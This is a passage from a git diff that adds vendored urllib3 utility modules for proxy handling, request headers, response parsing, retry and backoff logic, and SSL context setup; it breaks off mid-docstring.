socket needlessly. + # See https://github.com/urllib3/urllib3/issues/1446 + if _appengine_environ.is_appengine_sandbox(): + return False + + if socket.has_ipv6: + # has_ipv6 returns true if cPython was compiled with IPv6 support. + # It does not tell us if the system has IPv6 support enabled. To + # determine that we must bind to an IPv6 address. + # https://github.com/urllib3/urllib3/pull/611 + # https://bugs.python.org/issue658327 + try: + sock = socket.socket(socket.AF_INET6) + sock.bind((host, 0)) + has_ipv6 = True + except Exception: + pass + + if sock: + sock.close() + return has_ipv6 + + +HAS_IPV6 = _has_ipv6("::1") diff --git a/function/http/package/urllib3/util/proxy.py b/function/http/package/urllib3/util/proxy.py new file mode 100644 index 0000000..2199cc7 --- /dev/null +++ b/function/http/package/urllib3/util/proxy.py @@ -0,0 +1,57 @@ +from .ssl_ import create_urllib3_context, resolve_cert_reqs, resolve_ssl_version + + +def connection_requires_http_tunnel( + proxy_url=None, proxy_config=None, destination_scheme=None +): + """ + Returns True if the connection requires an HTTP CONNECT through the proxy. + + :param URL proxy_url: + URL of the proxy. + :param ProxyConfig proxy_config: + Proxy configuration from poolmanager.py + :param str destination_scheme: + The scheme of the destination. (i.e https, http, etc) + """ + # If we're not using a proxy, no way to use a tunnel. + if proxy_url is None: + return False + + # HTTP destinations never require tunneling, we always forward. + if destination_scheme == "http": + return False + + # Support for forwarding with HTTPS proxies and HTTPS destinations. + if ( + proxy_url.scheme == "https" + and proxy_config + and proxy_config.use_forwarding_for_https + ): + return False + + # Otherwise always use a tunnel. + return True + + +def create_proxy_ssl_context( + ssl_version, cert_reqs, ca_certs=None, ca_cert_dir=None, ca_cert_data=None +): + """ + Generates a default proxy ssl context if one hasn't been provided by the + user. + """ + ssl_context = create_urllib3_context( + ssl_version=resolve_ssl_version(ssl_version), + cert_reqs=resolve_cert_reqs(cert_reqs), + ) + + if ( + not ca_certs + and not ca_cert_dir + and not ca_cert_data + and hasattr(ssl_context, "load_default_certs") + ): + ssl_context.load_default_certs() + + return ssl_context diff --git a/function/http/package/urllib3/util/queue.py b/function/http/package/urllib3/util/queue.py new file mode 100644 index 0000000..4178410 --- /dev/null +++ b/function/http/package/urllib3/util/queue.py @@ -0,0 +1,22 @@ +import collections + +from ..packages import six +from ..packages.six.moves import queue + +if six.PY2: + # Queue is imported for side effects on MS Windows. See issue #229. + import Queue as _unused_module_Queue # noqa: F401 + + +class LifoQueue(queue.Queue): + def _init(self, _): + self.queue = collections.deque() + + def _qsize(self, len=len): + return len(self.queue) + + def _put(self, item): + self.queue.append(item) + + def _get(self): + return self.queue.pop() diff --git a/function/http/package/urllib3/util/request.py b/function/http/package/urllib3/util/request.py new file mode 100644 index 0000000..b574b08 --- /dev/null +++ b/function/http/package/urllib3/util/request.py @@ -0,0 +1,146 @@ +from __future__ import absolute_import + +from base64 import b64encode + +from ..exceptions import UnrewindableBodyError +from ..packages.six import b, integer_types + +# Pass as a value within ``headers`` to skip +# emitting some HTTP headers that are added automatically. +# The only headers that are supported are ``Accept-Encoding``, +# ``Host``, and ``User-Agent``. +SKIP_HEADER = "@@@SKIP_HEADER@@@" +SKIPPABLE_HEADERS = frozenset(["accept-encoding", "host", "user-agent"]) + +ACCEPT_ENCODING = "gzip,deflate" +try: + try: + import brotlicffi as _unused_module_brotli # noqa: F401 + except ImportError: + import brotli as _unused_module_brotli # noqa: F401 +except ImportError: + pass +else: + ACCEPT_ENCODING += ",br" + +_FAILEDTELL = object() + + +def make_headers( + keep_alive=None, + accept_encoding=None, + user_agent=None, + basic_auth=None, + proxy_basic_auth=None, + disable_cache=None, +): + """ + Shortcuts for generating request headers. + + :param keep_alive: + If ``True``, adds 'connection: keep-alive' header. + + :param accept_encoding: + Can be a boolean, list, or string. + ``True`` translates to 'gzip,deflate'. + List will get joined by comma. + String will be used as provided. + + :param user_agent: + String representing the user-agent you want, such as + "python-urllib3/0.6" + + :param basic_auth: + Colon-separated username:password string for 'authorization: basic ...' + auth header. + + :param proxy_basic_auth: + Colon-separated username:password string for 'proxy-authorization: basic ...' + auth header. + + :param disable_cache: + If ``True``, adds 'cache-control: no-cache' header. + + Example:: + + >>> make_headers(keep_alive=True, user_agent="Batman/1.0") + {'connection': 'keep-alive', 'user-agent': 'Batman/1.0'} + >>> make_headers(accept_encoding=True) + {'accept-encoding': 'gzip,deflate'} + """ + headers = {} + if accept_encoding: + if isinstance(accept_encoding, str): + pass + elif isinstance(accept_encoding, list): + accept_encoding = ",".join(accept_encoding) + else: + accept_encoding = ACCEPT_ENCODING + headers["accept-encoding"] = accept_encoding + + if user_agent: + headers["user-agent"] = user_agent + + if keep_alive: + headers["connection"] = "keep-alive" + + if basic_auth: + headers["authorization"] = "Basic " + b64encode(b(basic_auth)).decode("utf-8") + + if proxy_basic_auth: + headers["proxy-authorization"] = "Basic " + b64encode( + b(proxy_basic_auth) + ).decode("utf-8") + + if disable_cache: + headers["cache-control"] = "no-cache" + + return headers + + +def set_file_position(body, pos): + """ + If a position is provided, move file to that point. + Otherwise, we'll attempt to record a position for future use. + """ + if pos is not None: + rewind_body(body, pos) + elif getattr(body, "tell", None) is not None: + try: + pos = body.tell() + except (IOError, OSError): + # This differentiates from None, allowing us to catch + # a failed `tell()` later when trying to rewind the body. + pos = _FAILEDTELL + + return pos + + +def rewind_body(body, body_pos): + """ + Attempt to rewind body to a certain position. + Primarily used for request redirects and retries. + + :param body: + File-like object that supports seek. + + :param int pos: + Position to seek to in file. + """ + body_seek = getattr(body, "seek", None) + if body_seek is not None and isinstance(body_pos, integer_types): + try: + body_seek(body_pos) + except (IOError, OSError): + raise UnrewindableBodyError( + "An error occurred when rewinding request body for redirect/retry." + ) + elif body_pos is _FAILEDTELL: + raise UnrewindableBodyError( + "Unable to record file position for rewinding " + "request body during a redirect/retry." + ) + else: + raise ValueError( + "body_pos must be of type integer, instead it was %s." % type(body_pos) + ) diff --git a/function/http/package/urllib3/util/response.py b/function/http/package/urllib3/util/response.py new file mode 100644 index 0000000..5ea609c --- /dev/null +++ b/function/http/package/urllib3/util/response.py @@ -0,0 +1,107 @@ +from __future__ import absolute_import + +from email.errors import MultipartInvariantViolationDefect, StartBoundaryNotFoundDefect + +from ..exceptions import HeaderParsingError +from ..packages.six.moves import http_client as httplib + + +def is_fp_closed(obj): + """ + Checks whether a given file-like object is closed. + + :param obj: + The file-like object to check. + """ + + try: + # Check `isclosed()` first, in case Python3 doesn't set `closed`. + # GH Issue #928 + return obj.isclosed() + except AttributeError: + pass + + try: + # Check via the official file-like-object way. + return obj.closed + except AttributeError: + pass + + try: + # Check if the object is a container for another file-like object that + # gets released on exhaustion (e.g. HTTPResponse). + return obj.fp is None + except AttributeError: + pass + + raise ValueError("Unable to determine whether fp is closed.") + + +def assert_header_parsing(headers): + """ + Asserts whether all headers have been successfully parsed. + Extracts encountered errors from the result of parsing headers. + + Only works on Python 3. + + :param http.client.HTTPMessage headers: Headers to verify. + + :raises urllib3.exceptions.HeaderParsingError: + If parsing errors are found. + """ + + # This will fail silently if we pass in the wrong kind of parameter. + # To make debugging easier add an explicit check. + if not isinstance(headers, httplib.HTTPMessage): + raise TypeError("expected httplib.Message, got {0}.".format(type(headers))) + + defects = getattr(headers, "defects", None) + get_payload = getattr(headers, "get_payload", None) + + unparsed_data = None + if get_payload: + # get_payload is actually email.message.Message.get_payload; + # we're only interested in the result if it's not a multipart message + if not headers.is_multipart(): + payload = get_payload() + + if isinstance(payload, (bytes, str)): + unparsed_data = payload + if defects: + # httplib is assuming a response body is available + # when parsing headers even when httplib only sends + # header data to parse_headers() This results in + # defects on multipart responses in particular. + # See: https://github.com/urllib3/urllib3/issues/800 + + # So we ignore the following defects: + # - StartBoundaryNotFoundDefect: + # The claimed start boundary was never found. + # - MultipartInvariantViolationDefect: + # A message claimed to be a multipart but no subparts were found. + defects = [ + defect + for defect in defects + if not isinstance( + defect, (StartBoundaryNotFoundDefect, MultipartInvariantViolationDefect) + ) + ] + + if defects or unparsed_data: + raise HeaderParsingError(defects=defects, unparsed_data=unparsed_data) + + +def is_response_to_head(response): + """ + Checks whether the request of a response has been a HEAD-request. + Handles the quirks of AppEngine. + + :param http.client.HTTPResponse response: + Response to check if the originating request + used 'HEAD' as a method. + """ + # FIXME: Can we do this somehow without accessing private httplib _method? + method = response._method + if isinstance(method, int): # Platform-specific: Appengine + return method == 3 + return method.upper() == "HEAD" diff --git a/function/http/package/urllib3/util/retry.py b/function/http/package/urllib3/util/retry.py new file mode 100644 index 0000000..2490d5e --- /dev/null +++ b/function/http/package/urllib3/util/retry.py @@ -0,0 +1,620 @@ +from __future__ import absolute_import + +import email +import logging +import re +import time +import warnings +from collections import namedtuple +from itertools import takewhile + +from ..exceptions import ( + ConnectTimeoutError, + InvalidHeader, + MaxRetryError, + ProtocolError, + ProxyError, + ReadTimeoutError, + ResponseError, +) +from ..packages import six + +log = logging.getLogger(__name__) + + +# Data structure for representing the metadata of requests that result in a retry. +RequestHistory = namedtuple( + "RequestHistory", ["method", "url", "error", "status", "redirect_location"] +) + + +# TODO: In v2 we can remove this sentinel and metaclass with deprecated options. +_Default = object() + + +class _RetryMeta(type): + @property + def DEFAULT_METHOD_WHITELIST(cls): + warnings.warn( + "Using 'Retry.DEFAULT_METHOD_WHITELIST' is deprecated and " + "will be removed in v2.0. Use 'Retry.DEFAULT_ALLOWED_METHODS' instead", + DeprecationWarning, + ) + return cls.DEFAULT_ALLOWED_METHODS + + @DEFAULT_METHOD_WHITELIST.setter + def DEFAULT_METHOD_WHITELIST(cls, value): + warnings.warn( + "Using 'Retry.DEFAULT_METHOD_WHITELIST' is deprecated and " + "will be removed in v2.0. Use 'Retry.DEFAULT_ALLOWED_METHODS' instead", + DeprecationWarning, + ) + cls.DEFAULT_ALLOWED_METHODS = value + + @property + def DEFAULT_REDIRECT_HEADERS_BLACKLIST(cls): + warnings.warn( + "Using 'Retry.DEFAULT_REDIRECT_HEADERS_BLACKLIST' is deprecated and " + "will be removed in v2.0. Use 'Retry.DEFAULT_REMOVE_HEADERS_ON_REDIRECT' instead", + DeprecationWarning, + ) + return cls.DEFAULT_REMOVE_HEADERS_ON_REDIRECT + + @DEFAULT_REDIRECT_HEADERS_BLACKLIST.setter + def DEFAULT_REDIRECT_HEADERS_BLACKLIST(cls, value): + warnings.warn( + "Using 'Retry.DEFAULT_REDIRECT_HEADERS_BLACKLIST' is deprecated and " + "will be removed in v2.0. Use 'Retry.DEFAULT_REMOVE_HEADERS_ON_REDIRECT' instead", + DeprecationWarning, + ) + cls.DEFAULT_REMOVE_HEADERS_ON_REDIRECT = value + + @property + def BACKOFF_MAX(cls): + warnings.warn( + "Using 'Retry.BACKOFF_MAX' is deprecated and " + "will be removed in v2.0. Use 'Retry.DEFAULT_BACKOFF_MAX' instead", + DeprecationWarning, + ) + return cls.DEFAULT_BACKOFF_MAX + + @BACKOFF_MAX.setter + def BACKOFF_MAX(cls, value): + warnings.warn( + "Using 'Retry.BACKOFF_MAX' is deprecated and " + "will be removed in v2.0. Use 'Retry.DEFAULT_BACKOFF_MAX' instead", + DeprecationWarning, + ) + cls.DEFAULT_BACKOFF_MAX = value + + +@six.add_metaclass(_RetryMeta) +class Retry(object): + """Retry configuration. + + Each retry attempt will create a new Retry object with updated values, so + they can be safely reused. + + Retries can be defined as a default for a pool:: + + retries = Retry(connect=5, read=2, redirect=5) + http = PoolManager(retries=retries) + response = http.request('GET', 'http://example.com/') + + Or per-request (which overrides the default for the pool):: + + response = http.request('GET', 'http://example.com/', retries=Retry(10)) + + Retries can be disabled by passing ``False``:: + + response = http.request('GET', 'http://example.com/', retries=False) + + Errors will be wrapped in :class:`~urllib3.exceptions.MaxRetryError` unless + retries are disabled, in which case the causing exception will be raised. + + :param int total: + Total number of retries to allow. Takes precedence over other counts. + + Set to ``None`` to remove this constraint and fall back on other + counts. + + Set to ``0`` to fail on the first retry. + + Set to ``False`` to disable and imply ``raise_on_redirect=False``. + + :param int connect: + How many connection-related errors to retry on. + + These are errors raised before the request is sent to the remote server, + which we assume has not triggered the server to process the request. + + Set to ``0`` to fail on the first retry of this type. + + :param int read: + How many times to retry on read errors. + + These errors are raised after the request was sent to the server, so the + request may have side-effects. + + Set to ``0`` to fail on the first retry of this type. + + :param int redirect: + How many redirects to perform. Limit this to avoid infinite redirect + loops. + + A redirect is a HTTP response with a status code 301, 302, 303, 307 or + 308. + + Set to ``0`` to fail on the first retry of this type. + + Set to ``False`` to disable and imply ``raise_on_redirect=False``. + + :param int status: + How many times to retry on bad status codes. + + These are retries made on responses, where status code matches + ``status_forcelist``. + + Set to ``0`` to fail on the first retry of this type. + + :param int other: + How many times to retry on other errors. + + Other errors are errors that are not connect, read, redirect or status errors. + These errors might be raised after the request was sent to the server, so the + request might have side-effects. + + Set to ``0`` to fail on the first retry of this type. + + If ``total`` is not set, it's a good idea to set this to 0 to account + for unexpected edge cases and avoid infinite retry loops. + + :param iterable allowed_methods: + Set of uppercased HTTP method verbs that we should retry on. + + By default, we only retry on methods which are considered to be + idempotent (multiple requests with the same parameters end with the + same state). See :attr:`Retry.DEFAULT_ALLOWED_METHODS`. + + Set to a ``False`` value to retry on any verb. + + .. warning:: + + Previously this parameter was named ``method_whitelist``, that + usage is deprecated in v1.26.0 and will be removed in v2.0. + + :param iterable status_forcelist: + A set of integer HTTP status codes that we should force a retry on. + A retry is initiated if the request method is in ``allowed_methods`` + and the response status code is in ``status_forcelist``. + + By default, this is disabled with ``None``. + + :param float backoff_factor: + A backoff factor to apply between attempts after the second try + (most errors are resolved immediately by a second try without a + delay). urllib3 will sleep for:: + + {backoff factor} * (2 ** ({number of total retries} - 1)) + + seconds. If the backoff_factor is 0.1, then :func:`.sleep` will sleep + for [0.0s, 0.2s, 0.4s, ...] between retries. It will never be longer + than :attr:`Retry.DEFAULT_BACKOFF_MAX`. + + By default, backoff is disabled (set to 0). + + :param bool raise_on_redirect: Whether, if the number of redirects is + exhausted, to raise a MaxRetryError, or to return a response with a + response code in the 3xx range. + + :param bool raise_on_status: Similar meaning to ``raise_on_redirect``: + whether we should raise an exception, or return a response, + if status falls in ``status_forcelist`` range and retries have + been exhausted. + + :param tuple history: The history of the request encountered during + each call to :meth:`~Retry.increment`. The list is in the order + the requests occurred. Each list item is of class :class:`RequestHistory`. + + :param bool respect_retry_after_header: + Whether to respect Retry-After header on status codes defined as + :attr:`Retry.RETRY_AFTER_STATUS_CODES` or not. + + :param iterable remove_headers_on_redirect: + Sequence of headers to remove from the request when a response + indicating a redirect is returned before firing off the redirected + request. + """ + + #: Default methods to be used for ``allowed_methods`` + DEFAULT_ALLOWED_METHODS = frozenset( + ["HEAD", "GET", "PUT", "DELETE", "OPTIONS", "TRACE"] + ) + + #: Default status codes to be used for ``status_forcelist`` + RETRY_AFTER_STATUS_CODES = frozenset([413, 429, 503]) + + #: Default headers to be used for ``remove_headers_on_redirect`` + DEFAULT_REMOVE_HEADERS_ON_REDIRECT = frozenset(["Authorization"]) + + #: Maximum backoff time. + DEFAULT_BACKOFF_MAX = 120 + + def __init__( + self, + total=10, + connect=None, + read=None, + redirect=None, + status=None, + other=None, + allowed_methods=_Default, + status_forcelist=None, + backoff_factor=0, + raise_on_redirect=True, + raise_on_status=True, + history=None, + respect_retry_after_header=True, + remove_headers_on_redirect=_Default, + # TODO: Deprecated, remove in v2.0 + method_whitelist=_Default, + ): + + if method_whitelist is not _Default: + if allowed_methods is not _Default: + raise ValueError( + "Using both 'allowed_methods' and " + "'method_whitelist' together is not allowed. " + "Instead only use 'allowed_methods'" + ) + warnings.warn( + "Using 'method_whitelist' with Retry is deprecated and " + "will be removed in v2.0. Use 'allowed_methods' instead", + DeprecationWarning, + stacklevel=2, + ) + allowed_methods = method_whitelist + if allowed_methods is _Default: + allowed_methods = self.DEFAULT_ALLOWED_METHODS + if remove_headers_on_redirect is _Default: + remove_headers_on_redirect = self.DEFAULT_REMOVE_HEADERS_ON_REDIRECT + + self.total = total + self.connect = connect + self.read = read + self.status = status + self.other = other + + if redirect is False or total is False: + redirect = 0 + raise_on_redirect = False + + self.redirect = redirect + self.status_forcelist = status_forcelist or set() + self.allowed_methods = allowed_methods + self.backoff_factor = backoff_factor + self.raise_on_redirect = raise_on_redirect + self.raise_on_status = raise_on_status + self.history = history or tuple() + self.respect_retry_after_header = respect_retry_after_header + self.remove_headers_on_redirect = frozenset( + [h.lower() for h in remove_headers_on_redirect] + ) + + def new(self, **kw): + params = dict( + total=self.total, + connect=self.connect, + read=self.read, + redirect=self.redirect, + status=self.status, + other=self.other, + status_forcelist=self.status_forcelist, + backoff_factor=self.backoff_factor, + raise_on_redirect=self.raise_on_redirect, + raise_on_status=self.raise_on_status, + history=self.history, + remove_headers_on_redirect=self.remove_headers_on_redirect, + respect_retry_after_header=self.respect_retry_after_header, + ) + + # TODO: If already given in **kw we use what's given to us + # If not given we need to figure out what to pass. We decide + # based on whether our class has the 'method_whitelist' property + # and if so we pass the deprecated 'method_whitelist' otherwise + # we use 'allowed_methods'. Remove in v2.0 + if "method_whitelist" not in kw and "allowed_methods" not in kw: + if "method_whitelist" in self.__dict__: + warnings.warn( + "Using 'method_whitelist' with Retry is deprecated and " + "will be removed in v2.0. Use 'allowed_methods' instead", + DeprecationWarning, + ) + params["method_whitelist"] = self.allowed_methods + else: + params["allowed_methods"] = self.allowed_methods + + params.update(kw) + return type(self)(**params) + + @classmethod + def from_int(cls, retries, redirect=True, default=None): + """Backwards-compatibility for the old retries format.""" + if retries is None: + retries = default if default is not None else cls.DEFAULT + + if isinstance(retries, Retry): + return retries + + redirect = bool(redirect) and None + new_retries = cls(retries, redirect=redirect) + log.debug("Converted retries value: %r -> %r", retries, new_retries) + return new_retries + + def get_backoff_time(self): + """Formula for computing the current backoff + + :rtype: float + """ + # We want to consider only the last consecutive errors sequence (Ignore redirects). + consecutive_errors_len = len( + list( + takewhile(lambda x: x.redirect_location is None, reversed(self.history)) + ) + ) + if consecutive_errors_len <= 1: + return 0 + + backoff_value = self.backoff_factor * (2 ** (consecutive_errors_len - 1)) + return min(self.DEFAULT_BACKOFF_MAX, backoff_value) + + def parse_retry_after(self, retry_after): + # Whitespace: https://tools.ietf.org/html/rfc7230#section-3.2.4 + if re.match(r"^\s*[0-9]+\s*$", retry_after): + seconds = int(retry_after) + else: + retry_date_tuple = email.utils.parsedate_tz(retry_after) + if retry_date_tuple is None: + raise InvalidHeader("Invalid Retry-After header: %s" % retry_after) + if retry_date_tuple[9] is None: # Python 2 + # Assume UTC if no timezone was specified + # On Python2.7, parsedate_tz returns None for a timezone offset + # instead of 0 if no timezone is given, where mktime_tz treats + # a None timezone offset as local time. + retry_date_tuple = retry_date_tuple[:9] + (0,) + retry_date_tuple[10:] + + retry_date = email.utils.mktime_tz(retry_date_tuple) + seconds = retry_date - time.time() + + if seconds < 0: + seconds = 0 + + return seconds + + def get_retry_after(self, response): + """Get the value of Retry-After in seconds.""" + + retry_after = response.headers.get("Retry-After") + + if retry_after is None: + return None + + return self.parse_retry_after(retry_after) + + def sleep_for_retry(self, response=None): + retry_after = self.get_retry_after(response) + if retry_after: + time.sleep(retry_after) + return True + + return False + + def _sleep_backoff(self): + backoff = self.get_backoff_time() + if backoff <= 0: + return + time.sleep(backoff) + + def sleep(self, response=None): + """Sleep between retry attempts. + + This method will respect a server's ``Retry-After`` response header + and sleep the duration of the time requested. If that is not present, it + will use an exponential backoff. By default, the backoff factor is 0 and + this method will return immediately. + """ + + if self.respect_retry_after_header and response: + slept = self.sleep_for_retry(response) + if slept: + return + + self._sleep_backoff() + + def _is_connection_error(self, err): + """Errors when we're fairly sure that the server did not receive the + request, so it should be safe to retry. + """ + if isinstance(err, ProxyError): + err = err.original_error + return isinstance(err, ConnectTimeoutError) + + def _is_read_error(self, err): + """Errors that occur after the request has been started, so we should + assume that the server began processing it. + """ + return isinstance(err, (ReadTimeoutError, ProtocolError)) + + def _is_method_retryable(self, method): + """Checks if a given HTTP method should be retried upon, depending if + it is included in the allowed_methods + """ + # TODO: For now favor if the Retry implementation sets its own method_whitelist + # property outside of our constructor to avoid breaking custom implementations. + if "method_whitelist" in self.__dict__: + warnings.warn( + "Using 'method_whitelist' with Retry is deprecated and " + "will be removed in v2.0. Use 'allowed_methods' instead", + DeprecationWarning, + ) + allowed_methods = self.method_whitelist + else: + allowed_methods = self.allowed_methods + + if allowed_methods and method.upper() not in allowed_methods: + return False + return True + + def is_retry(self, method, status_code, has_retry_after=False): + """Is this method/status code retryable? (Based on allowlists and control + variables such as the number of total retries to allow, whether to + respect the Retry-After header, whether this header is present, and + whether the returned status code is on the list of status codes to + be retried upon on the presence of the aforementioned header) + """ + if not self._is_method_retryable(method): + return False + + if self.status_forcelist and status_code in self.status_forcelist: + return True + + return ( + self.total + and self.respect_retry_after_header + and has_retry_after + and (status_code in self.RETRY_AFTER_STATUS_CODES) + ) + + def is_exhausted(self): + """Are we out of retries?""" + retry_counts = ( + self.total, + self.connect, + self.read, + self.redirect, + self.status, + self.other, + ) + retry_counts = list(filter(None, retry_counts)) + if not retry_counts: + return False + + return min(retry_counts) < 0 + + def increment( + self, + method=None, + url=None, + response=None, + error=None, + _pool=None, + _stacktrace=None, + ): + """Return a new Retry object with incremented retry counters. + + :param response: A response object, or None, if the server did not + return a response. + :type response: :class:`~urllib3.response.HTTPResponse` + :param Exception error: An error encountered during the request, or + None if the response was received successfully. + + :return: A new ``Retry`` object. + """ + if self.total is False and error: + # Disabled, indicate to re-raise the error. + raise six.reraise(type(error), error, _stacktrace) + + total = self.total + if total is not None: + total -= 1 + + connect = self.connect + read = self.read + redirect = self.redirect + status_count = self.status + other = self.other + cause = "unknown" + status = None + redirect_location = None + + if error and self._is_connection_error(error): + # Connect retry? + if connect is False: + raise six.reraise(type(error), error, _stacktrace) + elif connect is not None: + connect -= 1 + + elif error and self._is_read_error(error): + # Read retry? + if read is False or not self._is_method_retryable(method): + raise six.reraise(type(error), error, _stacktrace) + elif read is not None: + read -= 1 + + elif error: + # Other retry? + if other is not None: + other -= 1 + + elif response and response.get_redirect_location(): + # Redirect retry? + if redirect is not None: + redirect -= 1 + cause = "too many redirects" + redirect_location = response.get_redirect_location() + status = response.status + + else: + # Incrementing because of a server error like a 500 in + # status_forcelist and the given method is in the allowed_methods + cause = ResponseError.GENERIC_ERROR + if response and response.status: + if status_count is not None: + status_count -= 1 + cause = ResponseError.SPECIFIC_ERROR.format(status_code=response.status) + status = response.status + + history = self.history + ( + RequestHistory(method, url, error, status, redirect_location), + ) + + new_retry = self.new( + total=total, + connect=connect, + read=read, + redirect=redirect, + status=status_count, + other=other, + history=history, + ) + + if new_retry.is_exhausted(): + raise MaxRetryError(_pool, url, error or ResponseError(cause)) + + log.debug("Incremented Retry for (url='%s'): %r", url, new_retry) + + return new_retry + + def __repr__(self): + return ( + "{cls.__name__}(total={self.total}, connect={self.connect}, " + "read={self.read}, redirect={self.redirect}, status={self.status})" + ).format(cls=type(self), self=self) + + def __getattr__(self, item): + if item == "method_whitelist": + # TODO: Remove this deprecated alias in v2.0 + warnings.warn( + "Using 'method_whitelist' with Retry is deprecated and " + "will be removed in v2.0. Use 'allowed_methods' instead", + DeprecationWarning, + ) + return self.allowed_methods + try: + return getattr(super(Retry, self), item) + except AttributeError: + return getattr(Retry, item) + + +# For backwards compatibility (equivalent to pre-v1.9): +Retry.DEFAULT = Retry(3) diff --git a/function/http/package/urllib3/util/ssl_.py b/function/http/package/urllib3/util/ssl_.py new file mode 100644 index 0000000..8f86781 --- /dev/null +++ b/function/http/package/urllib3/util/ssl_.py @@ -0,0 +1,495 @@ +from __future__ import absolute_import + +import hmac +import os +import sys +import warnings +from binascii import hexlify, unhexlify +from hashlib import md5, sha1, sha256 + +from ..exceptions import ( + InsecurePlatformWarning, + ProxySchemeUnsupported, + SNIMissingWarning, + SSLError, +) +from ..packages import six +from .url import BRACELESS_IPV6_ADDRZ_RE, IPV4_RE + +SSLContext = None +SSLTransport = None +HAS_SNI = False +IS_PYOPENSSL = False +IS_SECURETRANSPORT = False +ALPN_PROTOCOLS = ["http/1.1"] + +# Maps the length of a digest to a possible hash function producing this digest +HASHFUNC_MAP = {32: md5, 40: sha1, 64: sha256} + + +def _const_compare_digest_backport(a, b): + """ + Compare two digests of equal length in constant time. + + The digests must be of type str/bytes. + Returns True if the digests match, and False otherwise. + """ + result = abs(len(a) - len(b)) + for left, right in zip(bytearray(a), bytearray(b)): + result |= left ^ right + return result == 0 + + +_const_compare_digest = getattr(hmac, "compare_digest", _const_compare_digest_backport) + +try: # Test for SSL features + import ssl + from ssl import CERT_REQUIRED, wrap_socket +except ImportError: + pass + +try: + from ssl import HAS_SNI # Has SNI? +except ImportError: + pass + +try: + from .ssltransport import SSLTransport +except ImportError: + pass + + +try: # Platform-specific: Python 3.6 + from ssl import PROTOCOL_TLS + + PROTOCOL_SSLv23 = PROTOCOL_TLS +except ImportError: + try: + from ssl import PROTOCOL_SSLv23 as PROTOCOL_TLS + + PROTOCOL_SSLv23 = PROTOCOL_TLS + except ImportError: + PROTOCOL_SSLv23 = PROTOCOL_TLS = 2 + +try: + from ssl import PROTOCOL_TLS_CLIENT +except ImportError: + PROTOCOL_TLS_CLIENT = PROTOCOL_TLS + + +try: + from ssl import OP_NO_COMPRESSION, OP_NO_SSLv2, OP_NO_SSLv3 +except ImportError: + OP_NO_SSLv2, OP_NO_SSLv3 = 0x1000000, 0x2000000 + OP_NO_COMPRESSION = 0x20000 + + +try: # OP_NO_TICKET was added in Python 3.6 + from ssl import OP_NO_TICKET +except ImportError: + OP_NO_TICKET = 0x4000 + + +# A secure default. +# Sources for more information on TLS ciphers: +# +# - https://wiki.mozilla.org/Security/Server_Side_TLS +# - https://www.ssllabs.com/projects/best-practices/index.html +# - https://hynek.me/articles/hardening-your-web-servers-ssl-ciphers/ +# +# The general intent is: +# - prefer cipher suites that offer perfect forward secrecy (DHE/ECDHE), +# - prefer ECDHE over DHE for better performance, +# - prefer any AES-GCM and ChaCha20 over any AES-CBC for better performance and +# security, +# - prefer AES-GCM over ChaCha20 because hardware-accelerated AES is common, +# - disable NULL authentication, MD5 MACs, DSS, and other +# insecure ciphers for security reasons. +# - NOTE: TLS 1.3 cipher suites are managed through a different interface +# not exposed by CPython (yet!) and are enabled by default if they're available. +DEFAULT_CIPHERS = ":".join( + [ + "ECDHE+AESGCM", + "ECDHE+CHACHA20", + "DHE+AESGCM", + "DHE+CHACHA20", + "ECDH+AESGCM", + "DH+AESGCM", + "ECDH+AES", + "DH+AES", + "RSA+AESGCM", + "RSA+AES", + "!aNULL", + "!eNULL", + "!MD5", + "!DSS", + ] +) + +try: + from ssl import SSLContext # Modern SSL? +except ImportError: + + class SSLContext(object): # Platform-specific: Python 2 + def __init__(self, protocol_version): + self.protocol = protocol_version + # Use default values from a real SSLContext + self.check_hostname = False + self.verify_mode = ssl.CERT_NONE + self.ca_certs = None + self.options = 0 + self.certfile = None + self.keyfile = None + self.ciphers = None + + def load_cert_chain(self, certfile, keyfile): + self.certfile = certfile + self.keyfile = keyfile + + def load_verify_locations(self, cafile=None, capath=None, cadata=None): + self.ca_certs = cafile + + if capath is not None: + raise SSLError("CA directories not supported in older Pythons") + + if cadata is not None: + raise SSLError("CA data not supported in older Pythons") + + def set_ciphers(self, cipher_suite): + self.ciphers = cipher_suite + + def wrap_socket(self, socket, server_hostname=None, server_side=False): + warnings.warn( + "A true SSLContext object is not available. This prevents " + "urllib3 from configuring SSL appropriately and may cause " + "certain SSL connections to fail. You can upgrade to a newer " + "version of Python to solve this. For more information, see " + "https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html" + "#ssl-warnings", + InsecurePlatformWarning, + ) + kwargs = { + "keyfile": self.keyfile, + "certfile": self.certfile, + "ca_certs": self.ca_certs, + "cert_reqs": self.verify_mode, + "ssl_version": self.protocol, + "server_side": server_side, + } + return wrap_socket(socket, ciphers=self.ciphers, **kwargs) + + +def assert_fingerprint(cert, fingerprint): + """ + Checks if given fingerprint matches the supplied certificate. + + :param cert: + Certificate as bytes object. + :param fingerprint: + Fingerprint as string of hexdigits, can be interspersed by colons. + """ + + fingerprint = fingerprint.replace(":", "").lower() + digest_length = len(fingerprint) + hashfunc = HASHFUNC_MAP.get(digest_length) + if not hashfunc: + raise SSLError("Fingerprint of invalid length: {0}".format(fingerprint)) + + # We need encode() here for py32; works on py2 and p33. + fingerprint_bytes = unhexlify(fingerprint.encode()) + + cert_digest = hashfunc(cert).digest() + + if not _const_compare_digest(cert_digest, fingerprint_bytes): + raise SSLError( + 'Fingerprints did not match. Expected "{0}", got "{1}".'.format( + fingerprint, hexlify(cert_digest) + ) + ) + + +def resolve_cert_reqs(candidate): + """ + Resolves the argument to a numeric constant, which can be passed to + the wrap_socket function/method from the ssl module. + Defaults to :data:`ssl.CERT_REQUIRED`. + If given a string it is assumed to be the name of the constant in the + :mod:`ssl` module or its abbreviation. + (So you can specify `REQUIRED` instead of `CERT_REQUIRED`. + If it's neither `None` nor a string we assume it is already the numeric + constant which can directly be passed to wrap_socket. + """ + if candidate is None: + return CERT_REQUIRED + + if isinstance(candidate, str): + res = getattr(ssl, candidate, None) + if res is None: + res = getattr(ssl, "CERT_" + candidate) + return res + + return candidate + + +def resolve_ssl_version(candidate): + """ + like resolve_cert_reqs + """ + if candidate is None: + return PROTOCOL_TLS + + if isinstance(candidate, str): + res = getattr(ssl, candidate, None) + if res is None: + res = getattr(ssl, "PROTOCOL_" + candidate) + return res + + return candidate + + +def create_urllib3_context( + ssl_version=None, cert_reqs=None, options=None, ciphers=None +): + """All arguments have the same meaning as ``ssl_wrap_socket``. + + By default, this function does a lot of the same work that + ``ssl.create_default_context`` does on Python 3.4+. It: + + - Disables SSLv2, 